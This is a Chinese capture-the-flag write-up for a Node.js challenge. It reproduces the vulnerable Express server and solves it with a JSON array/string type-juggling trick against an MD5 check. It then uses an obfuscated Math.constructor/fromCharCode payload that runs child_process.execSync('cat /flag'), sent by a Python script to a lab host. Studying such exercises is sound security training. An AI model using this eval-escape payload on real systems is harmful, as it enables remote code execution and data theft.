js题,长知识了
F12,ctrl+U查源码
源码
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
看了一遍,盯紧两个地方,一个是超大正则,一个是判断md5
第一个,正则可视化
允许()+\-*/&|^%<>=,?:
,允许Math.xxxx这样子的任意形式函数调用,以及浮点数科学计数法的数字表示形式,还有空格
知识:
(?:)
就是为了分组,但是不捕获下来供正则表达式其他部分使用,叫非获取匹配
emmm,就是简简单单分个组:pattern4和pattern5作用一样
var pattern1=/aacdaa/;
var pattern2=/(?:aa|bb)cd\1/;
var pattern3=/(aa|bb)cd\1/;
var pattern4=/aacd|bbcd/;
var pattern5=/(?:aa|bb)cd/;
var str="aacdaa";
console.log(str.match(pattern1)); // ["aacdaa", index: 0, input: "aacdaa"]
console.log(str.match(pattern2)); // null
console.log(str.match(pattern3)); // ["aacdaa", "aa", index: 0, input: "aacdaa"]
/g 全局匹配,咱不管
第二个
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
长度相同,互不相等,加key[0]之后md5相等
弱类型,加盐之后都是字符串
让first 是字符1,second 是数组1,但urlencode没法接收数组
正好这里可以传json,也就可以用json解决
记得加上Content-Type": “application/json
绕过正则看不下去了,直接贴结果
(Math=>
(Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
)
)(Math+1)
import requests
import json
headers = {
"Content-Type": "application/json"
}
url = "http://d609db3d-6a1a-4835-9b9e-623822d89eb1.node4.buuoj.cn:81/"
data = {"e": "(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)", "first": [0], "second": "0"}
r = requests.post(url, data=json.dumps(data), headers=headers)
print(r.text)
学js去了